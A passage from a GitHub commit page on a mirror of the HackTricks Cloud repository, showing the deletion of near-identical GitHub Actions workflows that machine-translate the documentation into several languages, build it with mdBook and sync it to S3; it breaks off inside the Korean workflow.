mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
119
.github/workflows/translate_af.yml
vendored
119
.github/workflows/translate_af.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to AF (Afrikaans)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: af
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Afrikaans
|
||||
BRANCH: af
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_de.yml
vendored
119
.github/workflows/translate_de.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to DE (German)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: de
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: German
|
||||
BRANCH: de
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_el.yml
vendored
119
.github/workflows/translate_el.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to EL (Greek)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: el
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Greek
|
||||
BRANCH: el
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_es.yml
vendored
119
.github/workflows/translate_es.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to ES (Spanish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: es
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Spanish
|
||||
BRANCH: es
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_fr.yml
vendored
119
.github/workflows/translate_fr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to FR (French)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: fr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: French
|
||||
BRANCH: fr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_it.yml
vendored
119
.github/workflows/translate_it.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to IT (Italian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: it
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Italian
|
||||
BRANCH: it
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_ja.yml
vendored
119
.github/workflows/translate_ja.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to JA (Japanese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ja
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Japanese
|
||||
BRANCH: ja
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_ko.yml
vendored
119
.github/workflows/translate_ko.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to KO (Korean)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: ko
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Korean
|
||||
BRANCH: ko
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
